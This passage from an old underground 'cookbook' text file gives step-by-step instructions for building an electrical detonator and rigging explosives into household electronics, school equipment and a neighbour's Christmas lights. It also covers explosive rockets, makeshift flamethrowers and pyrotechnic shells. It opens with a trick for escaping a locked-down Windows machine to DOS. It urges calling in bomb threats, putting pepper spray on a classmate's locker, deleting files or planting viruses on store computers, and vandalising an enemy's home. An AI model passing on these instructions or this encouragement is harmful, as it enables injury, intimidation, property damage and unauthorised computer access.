just make that disk, and find the computer you need DOS access on. Now,
with the disk in the drive, follow these steps:
1) Open the Accessories group
2) Open Write
3) Choose File|Open
4) Open A:\COMMAND.COM
5) Choose NO CONVERSION. THIS IS VITAL!!!
6) When COMMAND.COM is open, choose File|Save As...
7) Save the file as C:\WINDOWS\WINHELP.EXE
Now, exit Write, and choose Help|Index or Help|Contents from the Progman
menu. BOOM! You're in DOS. Now, copy the WINHELP.EXE that's on your floppy
back to C:\WINDOWS\WINHELP.EXE, so no on will inadvertantly do the same
trick. Now, do whatever you want, but note: For a reason I have been unable
to discover, the prompt is not the normal one, so you may want to set the
prompt with the command PROMPT $P$G.That'll take care of the problem.
Just type EXIT to return to windows.
---===>~JyNx~<===-----===>~Zealot~<===---
~ Other Electric Detonated Explosives ~
This file will give you a few ideas about what you can do with
Electronicly Detonated Bombs (EDE's). If you know your basic stuff you
can easily take apart a TV and place you EDE on the wire that leads out
from the wall or back into the wall(doesn't matter). You can do the
same with stereo's and Vcr's. It is all made possible by the most available
supply...The Estes model rocket igniter..or a blasting cap if you can get
ahold of one. If you really wanted to get creative, put one in the electric
pencil sharpener at school..Rig up some firecrakers or bottle rockets without
the stick or something to that effect. Be Creative!
---===>~JyNx~<===-----===>~Zealot~<===---
~ How to make an electronic detonator ~
This is very simple. All you really need to know is somthing
about switches and l.e.d. lights. You can really use any kind of container.
Finding the right one might be difficult. I used a 22 long rifle amunition
case. These are clearish yellow plastic. They are relliable and sturdy.
You will need:
4 "AA" bateries
2 "AAA" bateries
3 switches
3 L.E.D. lights
You need to first make the saftey circut. Take two of the switches
and the 3 led lights. Attach the led lights so that the two switches have
to be on for the lights to go on. The 2 "AAA" bateries will be the power
source for them. Here is a diagram:
2"AAA"____/______*______/________
1 1-----*-----1
1
1 1-----*-----1
1
1___________________________1
* LED light
/ switch
_ or - or 1 wire
Now that probably does not make any sense at all. Then the detonation
circut must be constructed. You use all 3 switches in this one. Take the
two switches that you had for the above circut and the other switch so that
all of them have to be switched forward or "on" to complete the circut.
This will make sure that it is completely safe if the switches are turned
off. Here is another sorry diagram:
4"AA"____/_____/______to explosive
1
1______/__________from explosive
Here, mabye this will explain it better. The whole circut is made so that
when you switch the first two switches the led lights will glow telling you
that the detonator is armed. When you flip the final switch it will
complete the circut detonating the explosive. I will use the simple Co2
bomb as an example. You will need an igniter(the kind used to launch modle
rockets) which can be found at you local hobbie store. Instead of inserting
a fuse, place the igniter in its place. Attach the cables coming from your
detonator to the igniter. Then flip the switches!!
---===>~JyNx~<===-----===>~Zealot~<===---
~ EXPLOSIVE MISSILES ~
Take a model rocket engine and scrape off the clay covering on the
back until you expose the powder. You take your explosive(ex. co2) and place
the fuse so it touches the powder. Now make sure they will not get separated
in flight. You can do this buy simplily taking tape and taping them firmly
together or take a paper towel tube and cut it down to size to rap around them
snuggly together. These were made for the rocket launcher I have designed in
file #007. These are very simple to make but can also be very deadly if shot
at or around a person!! I do not recomend tring this unless you are around
NOBODY!!!!!
A really neat display for your rockets is making the paper match head
I explained in another file and load that on the tip of the rocket. This
makes a great display at night.....
---===>~JyNx~<===-----===>~Zealot~<===---
~ Explosives Tutorial I ~
Every person who make explosives should now everything in this file.
I will be explaining generally how an explosive works and general saftey.
First of all if you wan't to be an "Explosives" professional one
day you must never call an Explosive a "bomb". This is one way to tell the
difference between someone who is good with them and someone who just
thinks he is. An explosive is a powerfull force. It can be used for plain
fun and recreation or for deadly means. If you don't show it respect it will
show none to you. In other words if you toss them around and act like
thier nothing, you will sometimes find that they will not always cooporate,
and possibly explode. You must always treat the smallest explosive like it
is a block of C-4. If you do this you won't beleive how many accedents you
will save yourself from having. Even if you are carefull sometimes you just
have bad luck and one goes off in your face. I had some touch sensitive
explosives go off in my face, and trust me when I tell you it is an awakening
you will never forget! Luckily it was not a high power explosive! Be Careful!
It is common sense not to stick you head over something that is going to
flash or explode. This is the universal rule for high explosives or any
that throw shrapnel...(If you can see it, it can kill you). So BEWARE!!!
Now I will explain generally how an explosive works. An explosive
is something that lets off an enormus emount of energy at once. I'm not
a chemist so I don't know how touch explosives work, but I can give you
a basic runthrew on your standard pipebomb or CO2. The explosive explodes
from internal pressure created by your explosive mixture such as gun powder.
As you know gun powder does not explode, it burnes. Each of the little
grains of gunpowder lets off about 4000 thousand times its own gas when
lit, causing the pressure to build up rapid. The amount of pressure build
up all depends on what kind of mixture you use and how thick your container
is. I use a very fast burning smokless gunpowder. 700X to be exact.
Smokeless powders can sometimes prove to be better in some situations than
for others. One thing is when the explosive goes off and it has somewhat
of a short fuse it will not allow anyone to know the point of origin. If
you use black powder it produces a big smokeball and can be seen instantly.
But, black powder is always fun to use if you are just out to have fun and
aren't trying to scare the crap out of someone who you don't want to get
caught by. Flash powder is not a very good powder for explosives. It does
burn quite fast, but since it is such a fine grain powder, not all of it
has time to burn causing you to waste great quanitys of it. Another reason
it is not the best for explosives is because it lets off a very strong
concentrated flame. If your powder does that, it might cause the hole
where the fuse passes through to burn open a little more causing your
explosive to turn into an extremely strong lighter. Gun powder such as
smokeless powders are made of chemicals such as ethier and are therefore
more flammable. An example would be: if you were to pour a flammable liquid
on the ground such as ethier, gas, or acetone and lit it, it would all light
instantly with a great flash. If you were to light flash powder in the
same amount, it would take longer for the flash powder to spread along the
entire pile.
Now, you must always have a way of igniting the powder, a fuse.
For now I am only going to talk about non-electrical detonation. A fuse
is either flash powder rapped in a thin piece of paper or something similar
to the fuse I explained how to make in one of the above files in the
cookbook. The fuse must always be placed in the explosive without breaking
the airtightness of the container, which in some cases can be proven
difficult. Some ways of making the explosive airproof without having the
fuse all smashing in a crack is useing a thick, nonflammable powder. You
place this on top of the gunpowder on the end that will contain the fuse
hole. This will help keep the pressure inside of the container by blocking
it's path to the outside. It would have a tough time pressing all of that
powder through that little hole before it explodes. An example of this is
the sample perfume container bomb in one of the above files.
---===>~JyNx~<===-----===>~Zealot~<===---
~ Explosive Tutorial II ~
In this I am going to explain generally how an electrical detonation
works. An electrical detonating system is somewhat safer than that of a
non-electrical system. You don't have to worry about things such as the
wrong people walking by when your explosive goes off. Instead of using
a fuse you use an electrical igniter which is composed of two wires with
a thin wire on the tip made to glow red hot when an electrical current of
about six volts. On top of the thin wire is somewhat of a hard powder on
the tip to help the ignition. It is all set off by a detonator, which is
just a box which produces an electrical current with a few switches to
break the current when not in use for saftey. These can set off numerous
explosives at once if you string the wires out from your current source
in two or three sets of wires coming out instead of just your positive and
negative you have two or three of each. Just one word of advise, ALWAYS
make sure your saftey switches are on before even thinking about attaching
the wire from your detonator to the ingniter in your explosive.
---===>~JyNx~<===-----===>~Zealot~<===---
~ Explosive tutorial III ~
This addition of the explosive tutorial will explain rockets, their
propellents, and their ignition systems.
First of all I will be talking about the model rocket engines because
they are very easy to obtain and can be converted for many of your needs.
Your basic model rocket engine has three stages. It's first stage is it's
propellent. It's propellent consists of a solid fuel composed of solid
black powder. It has a clay nozzle on the bottom side to direct and
concentrate the thrust out the back of the rocket. After the solid propellent
burns out(usually depending on the engine, within half a second to two and
a half seconds) the tracking smoke ignites. This is made specificly for the
model rockets when they reach high altitudes. Then their is the ejection
charge. That is usually made of a black powder that blows out the parachute
with a minor explosion. Now if you are going to make a rocket that has an
explosive payload, or something that makes a design(such as a sky rocket),
you will need to scrape off the tracking smoke for it to have a shorter time
between igniting your payload. It will fly to the ground before it ignites
your payload if it is to heavy and does not have those powders scraped off.
Now I will talk about the ignition system. It is electrical, unless
you have a long enough fuse that will fit up the engine nozzle and give you
plenty off time to run like hell. But, if you are using the rocket launcher
then it must be electrical. If you choose to shoot it out of a pipe you
can use the electronic detonator that I explained in one of my earlier files.
They are ignited by using model rocket igniters that can be bought at your
local hobbie store. You must make sure the two wires of the igniter are
not touching or else the igniter will fail and not fire the rocket. You
place the igniter in the bottom of the engine making sure you push it in
far enough so that it touches the solid propellent but to not force it or
else you might bend the wires causing them to touch. After the igniter is
placed in the engine, you must then place something to keep the igniter from
falling out. This can be done by placing an igniter plug in thier which
usually come with the engines now-a-days. If you don't have any you can
simply use a peice of tape that runs through the two wires holding it firmly
in place. Never aprouch the rocket if it misfires for about a minute just
in case. You don't want to have it go off in your face, because that would
probably be an extremly rude awakening.
---===>~JyNx~<===-----===>~Zealot~<===---
~ Fun at the mall ~
If its around Cristmas or easter..drop french fries or stink
bombs on Santa Clause and the easter bunny. You can make plenty of crank
calls from the pay phones since your not at Home! Walk into one of the
clothing stores or shoe store where they have a lot of boots near the
entrance all standing up. Go to the end of them and run out of the store
with your hand stretched out so you can knock all of them down..Very funny
do. That really pisses of the employees. Go into a store such as sears
and without no one around take off the clothes on the hangers. Lay them
all over the floor. If you can get all the clothes in one section your
doing good and its always good to hang around in the distance and watch the
employees find the mess. Don't Get Caught! Goto one of the computer
stores and find the section were they have all of the computers on display.
Pretend your taking a look at it seeing what's on it and delete all the
start up files and windows. You could also install a virus...He..He. Very
easy, but yet very effective. Go into a hardware store and start unscrewing
all of their bolts to their shelfs. They find it wierd when things start
to fall apart....
---===>~JyNx~<===---
---===>~Zealot~<===---
~ HOW TO MAKE FLASH POWDER INTO A SOLID FOR SMOKE BOMBS ~
Take flash powder and moisten SLIGHTLY to form a really thick paste.
Embed a fuse in it before it drys. you should put this in a container
that will not melt and has a small opening at the top. You can even
use foil. Now light and watch it smoke!
---===>~JyNx~<===-----===>~Zealot~<===---
~ Film canister Shell ~
~ For Mortars or Rockets ~
This is a rough and by no means full description of the making of a
simple, quick but yet interesting piece of fireworks.
I first heard about it in 1994, when I visited ************** in
****************. As far as I know , this is his invention, but I
guess there are some other pyros having wondered what to do with all
those empty film cannisters as well. My experience with the film
cannister shells is not over yet, and nor have I tried all of my ideas
when it comes to payload/construction. What I will tell you now is
only what you need to know to get started, the rest is up to you. I
can only wish you a safe and enjoyable expansion of your fireworks
items. Have fun!!
.....................................................................
As with almost every fireworks item, people have their favorite
materials and methods. My favorite film cannister is the black HDPE
type of cannister, the type that KODAK films arrives in. What I think
is the most important part is the lid. It should , in my opinion, be
of the type that "squeezes" the rim of the cannister between one inner
and one outer part of the lid. Here in ********, these lids are
black.
There are also one type of gray lid that might work, but it gets
rather soft when hot glue is applied, and I have had some trouble when
I tried to put it on without paying attention to the soft rim.
I have also tried a few FUJI type cannisters. They are transparent, and
their lids is more like a plug that does not overlap with the rim from
the outside. When gluing these lids with hot glue, you get a weak
seal, causing a bad break.
As in all other types of shells, uniform strength is important. But
carefully designing a shell using a powerful break in a flashbag is
often a successful way of eliminating the effect of a weak joint. So
don't loose hope if you are stuck with hundreds of FUJI type
cannisters. They might work perfect with the appropriate design of the
shell.
The fuse used in these shells is perhaps the biggest difference
from the ordinary shells. A conventional time fuse might work
perfect, but it is not neccesary, and the work of cutting and priming
these fuses is a waist of good pyro time. But still the fuse has to be
reliable and easy to make. Visco could perhaps be used, but it is not
so easy to get here.
So to avoid these problems, the film cannister shell uses a special
tube of black match. Instead of cotton, acryl string is used. I got my
acryl in a knitting store, and if you can choose between several
types, pick the thickest. Then black match is made the usual way,
being sure to squeeze all the air out of the fuse, to avoid any air
holes through the fuse. Dusting the finished fuse with BP is not
neccesary.
..........................................................
When he makes Teflon fuses, he uses a binder made from 8.5 grams of
animal glue per 100 ml. of water. He also reports that household
gelatin theoreticaly is the same, only more refined. He has used it as
a substitute when he didn't have anything else. You have to use hot
water to dissolv it. It makes a pretty good and stabile suspention of BP.
..........................................................
When the black match is dry, it can be cut into pieces of about 2-2.5
cm. Then the middle part of the fuse is wrapped with Teflon tape, also
known as PTFE tape. The length of the wrapping determines the timing
of the shell, and has to be adjusted to the burning speed of the black
match. 1.5-2 cm is a good starting point. Just be sure there is at
least 2-3 mm of match on each end that is not wrapped in tape, or else
a dud is on its way! The Teflon tape is soft and gives a tight seal
around the match, so that no flame can spread along the surface of the
fuse. Two or three layers of tape is sufficient. One roll of tape can
make a lot of fuses, and the tape is easy to stretch and tear. With a
little practice, it only takes a few seconds to make a fuse.
Of course, if you make a lousy black match, the fuse is not as good as
it could and should be. But as far as ******* ******** has experienced,
it is at least as good as you could expect commercial time fuse to
be. He has fired several hundreds of these shells, without any of them
flower potting or failing to ignited. That should speak for itself.
Depending on the diameter of your fuse, the quickest and easiest thing
to do is to get some kind of punching device to punch a hole in the
lid of the cannister. But as the lid is soft, anything that can make a
hole is usable. However, punching gives the best hole.
Then the fuse is simply just glued into the hole using hot glue,
applying glue to both sides of the lid.
Well, this is where every pyro has to use his own imagination. Colored
stars, tailed stars, strobes, anything will do. Now you have a way to
get rid of your small batches of stars, or testing small batches of
stars not having to wait for the 3" shells to dry. Just remember,
small shells require small stars (usually). You are on your own
here. Just let the imagination flow free and undisturbed !
If you attempt to use flash, go ahead! The shell has space for 30+
grams of flash, but you might want to sacrifice some of it for some
layers of craft paper on the inside walls. The film cannister is
not strong enough to get the full potential out of the
flash. Depending on your flash however, it is a quick way to get a
salute in a hurry (don't make them if you are in a hurry!), and added
titanium or zirconium makes the shell noteworthy.
................................................................
In his opinion, if you use 70:30 KP flash, reinforcement of the cannister
is not neccesary. If you use nitrate based flash, you should however
do something to add strength.
In addition he has experimented with flash cannisters using masking
tape in stead of hot glue, not because he believe there is big danger
if you use hot glue, but because of the consequences if anything goes
wrong.
.................................................................
As in all other types of shells, the burst makes the difference
between a lousy shell and a good shell (not the whole truth, but a lot
of it!) And as we all have a different favorite burst, often depending
on the type of stars, size and effect wanted, I will not tell you that
I have found the best solution, cause I haven't! I will tell you what
works for me.
Due to the small size of the shell, and the relatively weak walls, a
powerful burst is neccesary if you want a good spread. And I did, so I
used flash burst. What flash to use, is your own choice. I have tried
both perclorate flash using Dark German Al, and a milder nitrate based
flash using a slower Al. They will both work if the correct amount of
flash is used.
I guess that whistle mix is possible to use as well, and if a milder
burst is wanted, H3 or BP might give the desired effect. What I do
know is that by using a powerful break, the weak joint by the lid is
of no consearn. Using a softer burst especially together with the FUJI
type of film cannister on the other hand, causes the lid to pop open
not rupturing the cannister, creating an effect not unlike the
commercial rocket heading does. This can be desirable, especially if
no loud noises should be made. The more powerful burst also creates a
good bang (YEAH!). So depending on your intentions, you have almost
all the possibilities also found in the larger shells. The film
cannister is not suited for large inserts though!
Just as with traditional shells, you have different ways of arranging
the burst and the stars. The far quickest method is to just fill the
cannister almost full of stars, dump in a weighed or measured amount
of burst (I use about 1 gram of flash), and let the flash be loose
among the stars. What I have experienced is a rather weak pop and not
a good spreading of the stars. Using FUJI cannisters,the several stars
often came down unignited when the lid popped off. More flash, quicker
flash and better priming of the stars might solve the problem. I
still have to improve this method.
The other method that I have used with best results is also a bit more
laborous. In order to get better spread of the stars, I make a small
flashbag that keeps the flash centered in the cannister. If I remember
correctly, the diameter of the flashbag was about 6-7 mm, so that one
gram of flash could fit into the bag. The flashbag I used was about 1
cm shorter than the length of the cannister, so that I got one layer
of stars on the bottom of the cannister. I filled the flashbag with
flash, and glued it onto the lid , making sure to keep it straight
until the hot glue was cold.
In the mean time the cannister was filled with one layer of stars on
the bottom. Then a sort of "canulle" was prepared, a paper cylinder
slightly wider and shorter than the flashbag consisting of two layers
of paper was held in the middle of the film cannister, while the stars
was filled around it. Leaving a little space for the lid on top, not
filling too many stars in the cannister, the cannister in now ready to
the final assembly.
Now you take the glue gun, and give the lid a suitable amount of hot
glue. You want the glue to touch both the outside and the inside of
the cannister rim. Be aware of the theoretical danger with hot glue
and stars with low ignition temperature. In practice, the glue cools
down a bit before you are able to put the lid on, and it should be
safe. I also wipe away all loose flash or BP that is stuck on the rim
or other surfaces that get in touch with the hot glue, as well as
dumping the flash into the shell before I add the stars. The stars are
likely to have a lower ignition point than most flash types, but the
stars are easier to keep out of contact with the glue.
Please tell me if there are any examples of accidents caused
by hot glue.
Assuming that you have a centered paper canulle of the proper
diameter, putting the flashbag into the hole should be simple. Note
that the canulle is not removed, and that it will act as a
reinforcement of the flashbag.To get reproducible results, flashbag
and canulle has to be standardized.
Now is the critical moment. You have to
make sure that the lid gets into the correct position, and that no air
bubbles penetrates from the outside to the inside of the shell. Due to
the hot glue, the air trapped inside the shell and between the lid and
the rim will often cause bubbles to form. If you want to be sure no pin
holes are present, just add some glue outside along the lid when the
shell has cooled. With some practice, this is not neccesary. If you
have the gray type of lid, you will have to keep some pressure on it
until it has cooled. Be aware, that the lid often gets a bit too hot
to touch with your bare fingers. If all steps went as they should, you
now have a film cannister shell!
...............................................................
He does not fill the "edge" of the lid with glue before he puts the
lid on the cannister. He puts on the lid and applies glue to the
outside of the shell only. This is partly because he wants to avoid
any contact between the hot glue and the content of the shell, but
also because he believe the glue might destroy the already almost
airtight construction of the lid. This also gives less trouble with
bubbles forming.
.................................................................
One note about the flashbag. Using flash as burst, you will often
discover that the limits between success and failure are small. I have
used 1 gram of perclorate flash in the flashbag, but that was at the
edge of what my stars could take. Adding only a few turns of paper to
the flashbag OR the canulle, the stars were blown blind. If you do not
have an accurate scale, you can get problems with the consistency of
your shells. A milder flash might help a lot. Only careful tuning of
the burst will give the best results. Remember that BP based stars
probably can take even more powerful bursts than I have used.
In order to launch the shell, you must have a mortar or a
rocket. Since I haven't put any of these on a rocket (yet!), I will
only cover the more common and traditional way to launch a shell. What
you have to get is a tube of paper, steel or preferably HDPE. If I do
not remember wrong, the film canister is about 36-37 mm OD. I have
used mortars with 36mm ID, but I had to cut excess glue off all my
shells to keep them small enough to fit into the tube. So save time,
get a larger tube. Now I'm using used 40 mm candle tubes, cut to 25 cm
length. The tubes are glued onto a wooden plate using the marvelous
hot glue. Ignition is not by the quick match method used with larger
shells, but through a small hole at the side of the mortar. I insert a
piece of black match, pour 5 grams of fff sporting grade BP into the
mortar, add the shell with fuse end down, and the shell is ready to be
launched!
Here is a picture of me matching several film cannister shell
mortars. You also see some crossette fans and one of the 6" shell we
fired that evening.
The shells are also easy to fit onto a rocket. The rocket at the
bottom is carrying a film cannister shell.
____________________________________________________________________
Now, this is as far as I can get you. The rest is for you to find
out. A few thoughts and ideas not yet tried by me is:
Attaching comets to give rising tails. Just be sure the comet does not
burn through the cannister. Some protection might be needed. Making a
large Roman candle filled with these should draw some attention!
Filling a larger(5") cylinder shell with film cannister shells to get
shell of shells. If precision timing is required, use time fuse or
make the Teflon type as accurate as you can.
Making multi break shells (with bottom shot, or rather top shot). The
Teflon trick allows short delays. Longer mortars and heavier lift
might be needed.
.....................................................................
He has successfully used glued on glitter and charcoal compositions as
rising tails to the shells, and they work perfect glued onto the
opposite side of the fuse. He have had no problems caused by the
comets burning through the cannister, but as an insurance, you might
wrap the comet with some wrapping tape.
He also suggests making parachute shells from a two-cannister
arrangement, one cannister holding the flare and the other holding the
parachute.
......................................................................
......................................................................
I hope you enjoy learning about the film cannister shells. They are
certainly worth more attention and publicity. Maybe we will see
"Best film cannister shell" as a part of the competition at the PGI
convention. Who knows? It is all up to us!
---===>~JyNx~<===-----===>~Zealot~<===---
~ Fire breathing ~
There are two basic methods to fire breathing I will go over both of them. Well, with this
method we
Hold the lighter up to your mouth and let the gas flow into your mouth.
Do not inhale it! After your mouth is full, keep it closed until the lighter is
lit in front of your mouth about an inch away, blow the gas out gradually to
make a nice stream. All you will fell is a little heat. Number two, take some
binaca and spray it once into your mouth kepping your mouth open but lips close
together. This will keep the flammable liquid drifting in your mouth and not
settling on your toungue. Then light the lighter about an inch in front of your
mouth and blow slowly. Then fwwoooshsh a fire ball..no harm done. If you
spray three sprays in your mouth you might feel a little more heat.....
---===>~JyNx~<===-----===>~Zealot~<===---
~ Flame Thrower ~
This is handy, and not hard, just the materials are hard to find.
Shopping list:
a Super Soaker 20, 30, or 50 water gun
a butane lighter
Licopodium powder
What is licopodium? It's an oxidizing agent. If you can find it, get as MUCH
as you can. Try the school chem lab. Most chem teachers play with the stuff.
If you take a pile and stab a match into it, it puts the match out. If you
have a bunson burner or a lighter and throw the stuff into the flame, it
flashes like mad.
Fill the resivoir for your super soaker almost full with water, and put in
enuff licopodium powder to get a saturated solution, but not super saturated.
It won't disolve, it'll just hang there. Just don't make it pasty. Pump up
the SS and spray into the lighter. Then light stuff with it. It makes a nice
makeshift flamethrower.
---===>~JyNx~<===-----===>~Zealot~<===---
~ Flouresent Light Bulb Bomb ~
Materials:
1 Long Flouresent Light Bulb
1 Roll of Duct Tape
First take some duct tape and run it over the ends of the bulb (both ends),Then you have an instant
bomb be carefull with this cause glass will fly everywhere and could cause serios harm or death
But HAVE FUN!!!
---===>~JyNx~<===-----===>~Zealot~<===---
~ Firework fountains ~
This file will simple explain how to make a fountain like the kind
you see on the fourth of july. First of all you need some flash powder.
SLIGHTLY moisen the flash powder with a couple drops at a time with water.
mold this into balls from about .177 cal. bb to a 22 cal. bb in size and
allow them to dry for about 3 days in the hot sun. Then put all of these
into a container nice and snug and stick a fuse in it not puting any lids
on. Light this and you will have a nice little display with some practice.
It is really cool when you make different colored balls for different
colored sparks. Be Creative!
---===>~JyNx~<===-----===>~Zealot~<===---
~ Free LD Messages ~
This is an easy way to get quick messages to someone from a
payfone either LD or when you don't have change to make a call. It works
best using 1-800-COLLECT. Some other carriers will also work, assuming
they use computerized routing of the collect call.
1) Call 1-800-COLLECT (or your other carrier) Enter the #
of the recipient of the message when prompted.
2) When you are asked to say your name, you have about *6*
seconds to record your message. Examples include:
"It's John, call me at 555-1212"
"My plane will get in at 6:55 pm, Terminal D, USAir"
"Mom, come pick me up at the Gym Doors of the school"
You get the idea.
3) Allow the recieving party to reject the call. They will recieve
your message, and can hang up. You MUST stay on the line until
you are told that your call has been refused. That will ensure
that the other end heard your message. Also, the "name" will be
repeated twice, so if there is a date or fone number in it, the
recieving party will hear it a second time if they miss it.
Be aware that although 1-800-COLLECT doesn't screen the "name" that is
recorded, they may notice a large number of refused calls from a reciever.
You shouldn't use this all the time, but it can be handy.
---===>~JyNx~<===-----===>~Zealot~<===---
~ Fun with lighters ~
There is many things that you can do with lighters. They are
cheap and usefull. These are only a few of the many things you can do
with a lighter. Do not use and electric lighter for best outcome.
1. Get a brand new lighter and make a little bon fire. Make sure the
flames of the bon fire are exposed. Place the lighter in the fire and
get back and let it burn. After the fire melts through the plastic
covering the lighter will create a giant fire ball. Very cool to watch
at night.
2. Take a brand new lighter and throw it away from you an a hard surface.
It will explode from the pressure inside.
3. Take a brand new lighter and take off the spark wheel, then the ussually
black cover. You should be able to see an unscrewable peice of plastic.
When you unscrew this, it will realease the gasses. So light a match and
you have yourself a temporary blow torch! They only last from 10 - 50
seconds depending on how much you unscrew the top.
4. Heres how to make another kind of blow torch. Take a medical
syringe without the needle. Place the tip of the syringe on the gas
port. Then hold down the gas realse and suck it up into the syringe
very slowly. Then cap the syrenge if you want to store it. All you
have to do to use this thing is light the lighter about an inch from
the tip of the syringe and push! Depending on how fast you push it
will determine how big and how long your flame will last. Experiment!
5. This will give you a nice little sparkle...Light the lighter and
then strike the spark wheel again while the lighter is lit to get a
little sparkeling flame.
6. You can have a fire breathers effect if you suck up the gas into
your mouth and blow as the lighter is lit......
---===>~JyNx~<===-----===>~Zealot~<===---
~ FUN WITH MATCHES ~
1. This is a cool smoke bomb that I made one day when I was bored. All you
need is some foil and wooden matches. You can NOT use paper matches or you
will have #2 as a result. The wood on the wooden matches take up more space
so you will naturaly not have as much powder as if you had the thin paper
matches. Just take the WOODEN matches and cut the heads off. How many you
cut is really up to you. The more you cut the bigger and more smoke. Take
the piece of foil and dump all the heads in. Now pack them in tight and make
the foil thick. Just leave a little space in the top for a fuse. Crimp the
foil around the fuse and light!! This is not a slow burning, long lasting
kind of smoke bomb like the ones you buy at the fireworks stand. This baby
smokes hard and fast!!! It only lasts a seconds but I think its fun to do
if you have nothing else to do.
2. This one looks good during the day or night!! It is kind of a flaming match
head fountain. It shoots out burning match heads into a flower shape. You
can make a really big display if you use over 2000 matches. TRUST ME ITS
WORTH IT!!!!! Take PAPER matches and rap them in foil just like you did in file
#1. (Cut of the Heads)Stick the fuse in, light it and RUN! This can be improved
if you have gasoline all over the ground......
3. Take a candle and rap it in foil. At the top, open the foil so it makes
a lip at the top. Fill this with matches. After the candle is burning for
a few minutes.....BIG FLAME!
---===>~JyNx~<===-----===>~Zealot~<===---
~ Fun with mushrooms ~
This file you will need to go and pick the mushrooms that grow in
you back yard. You place them in a ziplock (airtight) plastic bag, and
leave alone in a warm place for a couple of weeks. After a few weeks
you will have found that the mushrooms have despersed all of the liquid
inside of them. You will find that this liquid will come in handy for
many different things. For one thing you will find that as soon as you
open the bag you will be met with one of the sickest stenches you can think
of. That is the liquid. You can do many things with a stinky liquid, such
as, filling a glass jar with a top and throwing this at your victims front
door. Another use for it is a posion. It did come from the mushrooms, and
everyone knows that the mushrooms that grow in your back yards, are poisonous.
You can probably find a few other intersting things to due with these
mushrooms, but that's all the idea's I have (for now).
---===>~JyNx~<===-----===>~Zealot~<===---
~ Fun with plaster ~
Yes everyone, plaster. It is very excessable, and can be used for
some big fun. One way is an improvement on the ajax bomb. You can mix water
in the ajax, which I found more effective because it leaves a spot twice as
bright on your target. Yet I have found another way. Use plaster in place
of the ajax in the bottle. Mix with water until it forms a cream like paste.
Now when you throw this at something, it will be a little harder to clean up.
Hehehe..........
---===>~JyNx~<===-----===>~Zealot~<===---
~ FUN AT SCHOOL ~
If ya want to have a good laugh or just plain phuck someone over
who has pissed you off, then PAY ATTENTION DAMMIT! These are a few fun
things to do at school:
1. Re-arange the furniture(desks,ect...). This is easy and provides a good
laugh, wastes class time, but it will probably PISS the teacher off so dont
let anyone see you!!!! All you need are a couple of friends, and when no
one is around, take the students desks and turn them upside down. Then have
all of your friends help you with this one, flip the teachers desk upside down.
This is very simple, but gives the whole class a great laugh.
2. Revenge! Using a mace, pepper spray, or mace substitute(you can find an
exellent one in the JRs cookbook 4)find your enemys locker, and simply apply
your evil chemical to the combination dial and opening latch. After he open his
locker, the stuff stays on his weak fingers, and when later he touches his
ugly face or rubs his eyes he will have the hottest day of his life. Tell
him thier something in his eyes if you are around so he'll give `em a good
rub!!!Ha!!Ha!!Ha!!HHHHHHHaaaaaaaaaaaaa!!!!!!!!!!!!
3. This gives the whole class a very good laugh! Cut of the fan blades
on an overhead projector when no one is around so it will melt after being
on for a period of time! If you have enough time fill it part way with
popcorn seeds so when it over heats it goes POP POP POP POP POP POP!!
4. If you ever watch a video at school, sneak in the room if possible right
before you have to go to that class. Switch the video you are supposed to
watch with a pornography video. Very Funny! Trust me!!!!!
5. Revenge! Find out the persons locker combination and take thier stuff.
Its usually more effective when you take something such as thier organizer
(book or electronic)and right a warning or threat to them on it.
6. Call in a bomb threat(DONT GET CAUGHT!). You will probably get a few
days off of school.
7. Find a locker that no one is using that is in a place that people are
around alot. Every day take old food scraps such as bread, milk, orange
juice, fruits, and generally anything that rots..He,He. Leave it in their
with the locker shut and it will stink up the whole hall way..We had our
own little breed of flies growing in thier..GRoos..But very effective!
---===>~JyNx~<===-----===>~Zealot~<===---
~ Fuses ~
There are many different ways to make fuses, but I have an quick
and easy recipe for them. I have made these many times before and know
that they are nice and reliable. A lot of documents have been made for
fuses. Two things are factors in making good fuses. Number one is the
material, and number two is the chemical. I find twine a good source for
the material. IT comes in a big roll so you can make lots of fuse out of
it. Then the best chemical that I have ever used on fuses is flash powder.
It burns quick and is reliable to ignite your pyrotechnic device. All
you need to do is dampen the flash powder and mix it to where the flash
powder is not quite as liqiudized as water. It should be a little more
than a paste, but not quite water. This will prove to soak into the twine
better. Then you take your twine and rub the flash powder into it. This
should be done with three fingers. You should make only one coat. After
you have made the whole string you should hang it up to dry for a minumum
of three days for maximum effectancy. *Note* - The twine usually has three
strans of rope winded together. Undo one of these strans so that it thins
the twine down to two strans. Unless you want it for a high explosive
device.
---===>~JyNx~<===-----===>~Zealot~<===---
~ General fun ~
THis file will explain how to generally have fun wherever.
IF you see one of those porta-potties wait until your victim enters and
either shake it violently or tip it over and cause the contents to spill
all over him. If your board and you have a modem and someone you don't
like...then call them on the modem and set the modem on auto-answer..Then
if he has *69 callback the modem will give him a nice screaching noise.
During Christmas find a house with lights up. YOu have to do this during
the day so be sneaky! Cut the wire somewhere in the middle of the lights
and hook up an explosive such as an M-80 or pack of fire crakers...You will
have to use an igniter. Its real fun if you hook them up all over his house.
This works best with the ones that don't flash and are on constantly.
Find a public bathroom and put Selaphane on the toilet right below the
bottom lid so that when the sit down or stand and start to piss or crap
their will be a pretty big mess starting to run all over the bathroom. Go
to a fast food resturant and take your rappers and cold french fries and
make your way over to the bathroom. Stuff the french fries and the rappers
in the hand dryer. Then (make sure no one is in the bathroom except you
and your friends) take off the toilet paper roll and teppe thier bathroom.
Dudring christmas or a birthday..rap someones present in this special way.
After doing the normal rap job, tie it up with twine, so that it is all over
the present. Then stick a popper(the kind you pull the string on both sides
and the firecracker in the middle pops)under the paper so that the strings
are exposed. Then teel them in order to untie it you have to pull those
strings at the same time so the twine will come loose. Sneak in your victims
garage when he is not home or left it open and went inside for a second.
Take a C6-7 model rocket engine and place it in his vice grips. Ignite it
and run like hell. This thing will fill his garage with smoke!Ha Ha!
---===>~JyNx~<===-----===>~Zealot~<===---
~ How to make someones life miserable ~
This file was made for the purpose of geting someone of hate back.
You should only use this for someone who does not like you or thinks thier
big and tough. Now to start, get about three to four friends (that is not
including you). When you get to your enemys house, you have to people
sneak into the back yard. One person locates the hose and starts to puncture
as many house in it as possible, dont do them all within one foot of the
hose. Do them all over so that he will have to completely replace his hose.
Then the other person in the back yard goes to any bushes that your enemy
might have. Very quietly, he will start shreding them and scatering the
debre all over the yard. This might not seem like it will do much, but
trust me, it will contribute to the mess in the back yard. Then after the
other friend is done with the hose he will then move on to the grass.
He will start to dig up the grass anywhere he pleases makeing many holes
all over the yard. While he is doing that, if the other friend is done with
the bushes, he will then move to the house. He will have eggs and paint
in hand. He will first smear the eggs on his house. Do not by any means
